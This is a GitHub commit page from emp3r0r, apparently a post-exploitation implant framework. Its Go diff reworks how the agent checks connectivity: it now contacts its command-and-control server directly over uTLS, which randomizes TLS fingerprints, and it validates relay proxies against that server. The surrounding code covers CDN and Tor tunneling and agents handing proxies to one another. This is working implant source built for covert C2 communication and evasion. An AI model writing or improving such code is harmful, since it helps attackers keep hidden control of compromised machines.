Skip to content

Commit

Permalink
fix: connectivity check should connect to C2 using uTLS
Browse files Browse the repository at this point in the history
if NCSI is disabled, there's no reason to use it for connectivity check or proxy validation
  • Loading branch information
jm33-m0 committed Jan 18, 2024
1 parent 904683a commit 8b746c5
Show file tree
Hide file tree
Showing 7 changed files with 72 additions and 37 deletions.
9 changes: 5 additions & 4 deletions core/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -304,7 +304,7 @@ test_agent:
dns = agent.RuntimeConfig.DoHServer
}
go func() {
for !tun.IsProxyOK(cdnproxyAddr) {
for !tun.IsProxyOK(cdnproxyAddr, emp3r0r_data.CCAddress) {
// typically you need to configure AgentProxy manually if agent doesn't have internet
// and AgentProxy will be used for websocket connection, then replaced with 10888
err := cdn2proxy.StartProxy(strings.Split(cdnproxyAddr, "socks5://")[1], agent.RuntimeConfig.CDNProxy, upper_proxy, dns)
Expand Down Expand Up @@ -345,7 +345,8 @@ test_agent:
}
return true

} else if !tun.IsTor(emp3r0r_data.CCAddress) && !tun.IsProxyOK(agent.RuntimeConfig.C2TransportProxy) {
} else if !tun.IsTor(emp3r0r_data.CCAddress) &&
!tun.IsProxyOK(agent.RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress) {
// we don't, just wait for some other agents to help us
log.Println("[-] We don't have internet access, waiting for other agents to give us a proxy...")
if *cnt == 0 {
Expand Down Expand Up @@ -508,9 +509,9 @@ func isAgentAlive() bool {

func isC2Reachable() bool {
if !agent.RuntimeConfig.DisableNCSI {
return tun.HasInternetAccess()
return tun.HasInternetAccess(tun.MicrosoftNCSIURL)
}

log.Println("NCSI is disabled, trying direct C2 connection")
return true
return tun.HasInternetAccess(emp3r0r_data.CCAddress)
}
7 changes: 4 additions & 3 deletions core/cmd/agent/main_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -176,7 +176,7 @@ test_agent:
dns = agent.RuntimeConfig.DoHServer
}
go func() {
for !tun.IsProxyOK(cdnproxyAddr) {
for !tun.IsProxyOK(cdnproxyAddr, emp3r0r_data.CCAddress) {
// typically you need to configure C2TransportProxy manually if agent doesn't have internet
// and C2TransportProxy will be used for websocket connection, then replaced with 10888
err := cdn2proxy.StartProxy(strings.Split(cdnproxyAddr, "socks5://")[1], agent.RuntimeConfig.CDNProxy, upper_proxy, dns)
Expand Down Expand Up @@ -210,7 +210,8 @@ test_agent:
}
return true

} else if !tun.IsTor(emp3r0r_data.CCAddress) && !tun.IsProxyOK(agent.RuntimeConfig.C2TransportProxy) {
} else if !tun.IsTor(emp3r0r_data.CCAddress) &&
!tun.IsProxyOK(agent.RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress) {
// we don't, just wait for some other agents to help us
log.Println("[-] We don't have internet access, waiting for other agents to give us a proxy...")
if *cnt == 0 {
Expand Down Expand Up @@ -356,7 +357,7 @@ func isAgentAlive() bool {

func isC2Reachable() bool {
if !agent.RuntimeConfig.DisableNCSI {
return tun.HasInternetAccess()
return tun.HasInternetAccess(tun.MicrosoftNCSIURL)
}

log.Println("NCSI is disabled, trying direct C2 connection")
Expand Down
7 changes: 4 additions & 3 deletions core/lib/agent/broadcast.go
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,7 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
RuntimeConfig.ShadowsocksPort,
RuntimeConfig.Password,
RuntimeConfig.AutoProxyPort)
for !tun.IsProxyOK(rproxy) {
for !tun.IsProxyOK(rproxy, emp3r0r_data.CCAddress) {
time.Sleep(time.Second)
}
RuntimeConfig.C2TransportProxy = rproxy
Expand All @@ -81,12 +81,13 @@ func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string
continue
}
log.Printf("BroadcastServer: %s sent this: %s\n", addr, decMsg)
if RuntimeConfig.C2TransportProxy != "" && tun.IsProxyOK(RuntimeConfig.C2TransportProxy) {
if RuntimeConfig.C2TransportProxy != "" &&
tun.IsProxyOK(RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress) {
log.Printf("BroadcastServer: %s already set and working fine\n", RuntimeConfig.C2TransportProxy)
continue
}

if tun.IsProxyOK(decMsg) {
if tun.IsProxyOK(decMsg, emp3r0r_data.CCAddress) {
RuntimeConfig.C2TransportProxy = decMsg
log.Printf("BroadcastServer: %s set as RuntimeConfig.AgentProxy\n", RuntimeConfig.C2TransportProxy)

Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/c2cmds.go
Original file line number Diff line number Diff line change
Expand Up @@ -56,8 +56,8 @@ func C2CommandsHandler(cmdSlice []string) (out string) {
addr := cmdSlice[1]
out = "Bring2CC: Reverse proxy for " + addr + " finished"

hasInternet := tun.HasInternetAccess()
isProxyOK := tun.IsProxyOK(RuntimeConfig.C2TransportProxy)
hasInternet := tun.HasInternetAccess(emp3r0r_data.CCAddress)
isProxyOK := tun.IsProxyOK(RuntimeConfig.C2TransportProxy, emp3r0r_data.CCAddress)
if !hasInternet && !isProxyOK {
out = "Error: We don't have any internet to share"
}
Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/util.go
Original file line number Diff line number Diff line change
Expand Up @@ -129,7 +129,7 @@ func CollectSystemInfo() *emp3r0r_data.AgentSystemInfo {
info.HasTor = tun.IsTor(emp3r0r_data.CCAddress)

// has internet?
info.HasInternet = tun.HasInternetAccess()
info.HasInternet = tun.HasInternetAccess(tun.MicrosoftNCSIURL)

// IP address?
info.IPs = tun.IPa()
Expand Down
53 changes: 33 additions & 20 deletions core/lib/tun/netutil.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,16 @@ import (
"log"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"time"
)

const (
MicrosoftNCSIURL = "http://www.msftncsi.com/ncsi.txt"
MicrosoftNCSIResp = "Microsoft NCSI"
)

// IsPortOpen is this TCP port open?
func IsPortOpen(host string, port string) bool {
timeout := time.Second
Expand Down Expand Up @@ -57,11 +61,23 @@ func IsTor(addr string) bool {

// HasInternetAccess does this machine has internet access,
// does NOT use any proxies
func HasInternetAccess() bool {
client := http.Client{
func HasInternetAccess(test_url string) bool {
// use Microsoft NCSI as default
// NCSI is an HTTP service therefore we don't need
// uTLS to talk to it
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Get("http://www.msftncsi.com/ncsi.txt")
// if not using Microsoft NCSI, we need to use uTLS
if test_url != MicrosoftNCSIURL {
client = HTTPClientWithEmpCA(test_url, "")
if client == nil {
log.Printf("HasInternetAccess: cannot create http client for %s", test_url)
return false
}
}

resp, err := client.Get(test_url)
if err != nil {
return false
}
Expand All @@ -71,26 +87,20 @@ func HasInternetAccess() bool {
if err != nil {
return false
}
if string(respData) == "Microsoft NCSI" {
return true
if test_url == MicrosoftNCSIURL {
return string(respData) == MicrosoftNCSIResp
}
return false
return true
}

// IsProxyOK test if the proxy works
func IsProxyOK(proxy string) bool {
tr := &http.Transport{}
proxyUrl, err := url.Parse(proxy)
if err != nil {
log.Printf("Invalid proxy: %v", err)
// IsProxyOK test if the proxy works against the test URL
func IsProxyOK(proxy, test_url string) bool {
client := HTTPClientWithEmpCA(test_url, proxy)
if client == nil {
log.Printf("IsProxyOK: cannot create http client")
return false
}
tr.Proxy = http.ProxyURL(proxyUrl)
client := http.Client{
Timeout: 5 * time.Second,
Transport: tr,
}
resp, err := client.Get("http://www.msftncsi.com/ncsi.txt")
resp, err := client.Get(test_url)
if err != nil {
return false
}
Expand All @@ -101,7 +111,10 @@ func IsProxyOK(proxy string) bool {
return false
}
log.Printf("IsProxyOK: testing proxy %s: %s", proxy, respData)
return string(respData) == "Microsoft NCSI"
if test_url == MicrosoftNCSIURL {
return string(respData) == MicrosoftNCSIResp
}
return true
}

// IPWithMask net.IP and net.IPMask
Expand Down
27 changes: 23 additions & 4 deletions core/lib/tun/tls.go
Original file line number Diff line number Diff line change
Expand Up @@ -29,15 +29,13 @@ func EmpHTTPClient(c2_addr, proxyServer string) *http.Client {
LogFatalError("Erro parsing C2 address '%s': %v", c2_addr, err)
}

// C2 host
c2_host := c2url.Hostname()

// add our cert
if ok := rootCAs.AppendCertsFromPEM(CACrt); !ok {
LogFatalError("No CA certs appended")
}

// Trust the augmented cert pool in our TLS client
c2_host := c2url.Hostname()
config := &utls.Config{
ServerName: c2_host,
InsecureSkipVerify: false,
Expand Down Expand Up @@ -71,10 +69,31 @@ init_transport:
log.Printf("Proxy server down, retrying (%d)...", try)
goto init_transport
} else {
LogError("makeRoundTripper: %v", err)
log.Printf("Initializing transport (%s): makeRoundTripper: %v", c2url, err)
return nil
}
}

return &http.Client{Transport: tr}
}

// HTTPClientWithEmpCA is a http client with system CA pool
// with utls client hello randomization
// url: target URL, proxy: proxy URL
func HTTPClientWithEmpCA(target_url, proxy string) (client *http.Client) {
client = EmpHTTPClient(target_url, proxy)
if client == nil {
return nil
}
client.Timeout = 5 * time.Second
rootCAs, err := x509.SystemCertPool()
if err != nil {
log.Printf("IsProxyOK system cert pool: %v", err)
rootCAs = x509.NewCertPool()
}
if ok := rootCAs.AppendCertsFromPEM(CACrt); !ok {
log.Printf("IsProxyOK: cannot append emp3r0r CA")
return nil
}
return
}

0 comments on commit 8b746c5

Please sign in to comment.